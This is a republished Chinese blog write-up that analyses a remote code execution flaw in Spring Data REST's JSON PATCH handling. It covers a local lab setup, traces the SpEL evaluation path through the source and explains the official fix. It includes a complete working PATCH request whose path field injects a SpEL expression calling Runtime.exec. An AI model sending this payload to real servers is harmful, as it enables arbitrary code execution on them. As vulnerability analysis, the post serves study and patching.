转载

Spring-Data-REST-RCE复现分析【CVE-2018-1259】

pivotal发布的漏洞信息如下:

Malicious PATCH requests submitted to servers using Spring Data REST backed HTTP resources can use specially crafted JSON data to run arbitrary Java code.

简而言之,就是 Spring Data REST 对PATCH方法处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为spring的SPEL解析导致的RCE。

环境搭建

  1. 关于 Spring Data REST 可以参考 Guides ,但是本人在按照这个教程搭建出现了问题,所以建议大家看看这个引导,但是漏洞环境的搭建没有必要参考这个。
  2. 在 Guides 提供了最终的项目代码下载,可以直接从Github上面下载。

    https://github.com/spring-guides/gs-accessing-data-rest.git ,使用其中的 complete 项目。

    修改其中的 spring-boot-starter-parent 为存在漏洞的版本,本文中采用的是1.5.6的版本:

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>1.5.6.RELEASE</version>
    </parent>
    

    通过 maven 更新完依赖之后,查看与漏洞有关的几个组件的版本:

    Spring-Data-REST-RCE复现分析【CVE-2018-1259】

使用IDEA运行整个项目,访问 localhost:8080 ,如果没有报错出现以下的界面则说明搭建成功。

Spring-Data-REST-RCE复现分析【CVE-2018-1259】

漏洞复现

PATCH

在进行漏洞复现之前,先介绍下PATCH相关的用法。

对于JSON Patch请求方法IETF制定了标准RFC6902。JSON Patch方法提交的数据必须包含一个path成员( path值中必须含有 / ),用于定位数据,同时还必须包含op成员,可选值如下:

  • add,添加数据
  • remove,删除数据
  • replace,修改数据
  • move,移动数据
  • copy,拷贝数据
  • test,测试给定数据与指定位置数据是否相等

在使用PATCH方法时,有两点需要注意(关于这两点,后面通过源码分析会进行说明):

  1. 必须将Content-Type指定为 application/json-patch+json
  2. 请求数据必须是 json数组

漏洞复现

本漏洞的分析方法采用的是通过执行POC的方式来追踪数据流来分析漏洞。

  1. 通过POST方法添加一个用户

    Spring-Data-REST-RCE复现分析【CVE-2018-1259】

    查看所有用户信息,系统中已经多存在了1个用户(people1)

    Spring-Data-REST-RCE复现分析【CVE-2018-1259】
  2. 通过 PATCH 方法更新people1的 lastName 信息。根据前面对 PATCH 方法的介绍,我们需要发送如下的payload:

    Spring-Data-REST-RCE复现分析【CVE-2018-1259】

    这一步可以不进行操作,只是为了演示PATCH的用法

  3. 发送payload,发起攻击。

    PATCH /people/1 HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type:application/json-patch+json
    Content-Length: 169
    
    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99, 97, 108, 99, 46, 101, 120, 101}))/lastName", "value": "vulhub" }]
    

    顺利弹出计算器。

    Spring-Data-REST-RCE复现分析【CVE-2018-1259】

漏洞分析

由于整个程序对于Payload的处理堆栈较长,本文直接从 Spring Data REST 对JSON的数据处理开始进行分析。入口文件是位于 org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply() 中。

public <T> T apply(IncomingRequest request, T target) throws Exception {
    Assert.notNull(request, "Request must not be null!");
    Assert.isTrue(request.isPatchRequest(), "Cannot handle non-PATCH request!");
    Assert.notNull(target, "Target must not be null!");
    if (request.isJsonPatchRequest()) {
        return applyPatch(request.getBody(), target);
    } else {
        return applyMergePatch(request.getBody(), target);
    }
}

通过 request.isJsonPatchRequest 确定是PATCH请求之后,调用 applyPatch(request.getBody(), target); 。其中 isJsonPatchRequest 的判断方法是:

public boolean isJsonPatchRequest() {
    // public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json");
    return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
}

所以这就要求我们使用 PATCH 方法时, contentType 要为 application/json-patch+json 。(对应于PATCH方法的第一个注意点)

继续跟踪进入到 applyPatch() 方法中:

<T> T applyPatch(InputStream source, T target) throws Exception {
    return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}

继续跟踪进入到 getPatchOperations() 中:

private Patch getPatchOperations(InputStream source) {
    try {
        return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
    } catch (Exception o_O) {
        throw new HttpMessageNotReadableException(
                String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
    }
}

利用 mapper 初始化 JsonPatchPatchConverter() 对象之后调用 convert() 方法。跟踪 org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert() 方法:

Spring-Data-REST-RCE复现分析【CVE-2018-1259】

convert() 方法返回 Patch() 对象,其中的ops包含了我们的payload。进入到 org.springframework.data.rest.webmvc.json.patch.Patch 中,

public Patch(List<PatchOperation> operations) {
    this.operations = operations;
}

通过上一步地分析, ops 是一个 List<PatchOperation> 对象,每一个 PatchOperation 对象中包含了 oppathvalue 三个内容。进入到 PatchOperation 分析其赋值情况。

public PatchOperation(String op, String path, Object value) {

    this.op = op;
    this.path = path;
    this.value = value;
    this.spelExpression = pathToExpression(path);
}

进入到 pathToExpression()

public static Expression pathToExpression(String path) {
    return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
}

可以看到这是一个 SPEL 表达式解析操作,但是在解析之前调用了 pathToSpEL() 。进入到 pathToSpEL() 中。

private static String pathToSpEL(String path) {
    return pathNodesToSpEL(path.split("///"));          // 使用/分割路径
}

private static String pathNodesToSpEL(String[] pathNodes) {
    StringBuilder spelBuilder = new StringBuilder();
    for (int i = 0; i < pathNodes.length; i++) {
        String pathNode = pathNodes[i];
        if (pathNode.length() == 0) {
            continue;
        }
        if (APPEND_CHARACTERS.contains(pathNode)) {
            if (spelBuilder.length() > 0) {
                spelBuilder.append(".");            // 使用.重新组合路径
            }
            spelBuilder.append("$[true]");
            continue;
        }
        try {
            int index = Integer.parseInt(pathNode);
            spelBuilder.append('[').append(index).append(']');
        } catch (NumberFormatException e) {
            if (spelBuilder.length() > 0) {
                spelBuilder.append('.');
            }
            spelBuilder.append(pathNode);
        }
    }
    String spel = spelBuilder.toString();
    if (spel.length() == 0) {
        spel = "#this";
    }
    return spel;
}

重新回到 org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch() 中,

<T> T applyPatch(InputStream source, T target) throws Exception {
    return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}

目前已经执行 getPatchOperations(source) 得到的是一个 Patch 对象的实例,之后执行 apply() 方法。进入到 org.springframework.data.rest.webmvc.json.patch.Patch:apply() ,

public <T> T apply(T in, Class<T> type) throws PatchException {
    for (PatchOperation operation : operations) {
        operation.perform(in, type);
    }
    return in;
}

Spring-Data-REST-RCE复现分析【CVE-2018-1259】

实际上 PatchOperation 是一个抽象类,实际上应该调用其实现类的 perform() 方法。通过动态调试分析,此时的 operation 实际是 ReplaceOperation 类的实例(这也和我们传入的 replace 操作是对应的)。进入到 ReplaceOperation:perform() 中,

<T> void perform(Object target, Class<T> type) {
    setValueOnTarget(target, evaluateValueFromTarget(target, type));
}

protected void setValueOnTarget(Object target, Object value) {
    spelExpression.setValue(target, value);
}

setValueOnTarget() 中会调用 spelExpression 对spel表示式进行解析,分析此时的参数情况:

Spring-Data-REST-RCE复现分析【CVE-2018-1259】

最后成功地弹出计算器。

漏洞修复

根据官方发布的漏洞修复 commit

Spring-Data-REST-RCE复现分析【CVE-2018-1259】

可以看到主要是在 PatchOperation.java:evaluateValueFromTarget() 中增减了对路径的验证方法 verifyPath() ,其中的关键代码是:

String pathSource = Arrays.stream(path.split("/"))//
                        .filter(it -> !it.matches("//d")) // no digits
                        .filter(it -> !it.equals("-")) // no "last element"s
                        .filter(it -> !it.isEmpty()) //
                        .collect(Collectors.joining("."));

为什么实现了 evaluateValueFromTarget() 这个方法就能够阻止RCE的攻击呢?之前在漏洞分析中已经说明了,最终执行的是 ReplaceOperation:perform() ,

<T> void perform(Object target, Class<T> type) {
    setValueOnTarget(target, evaluateValueFromTarget(target, type));
}

在执行 setValueOnTarget() 之前先会调用 evaluateValueFromTarget() ,而这个函数就是父类的函数即 PatchOperationevaluateValueFromTarget() ,所以通过更改 PatchOperation:evaluateValueFromTarget() 方法,对PATH路径进行验证,确保PATH的安全性,就能够防止通过 SPEL 表示执行RCE。

总结

最终还是因为SPEL表大会造成的RCE。最终吐槽一下,Java相关的环境搭建起来真的是麻烦(这也导致分析Java漏洞时需要专门用一章来说明漏洞环境的搭建),函数的追踪也很绕。

原文  http://blog.spoock.com/2018/05/22/cve-2017-8046/
正文到此结束
Loading...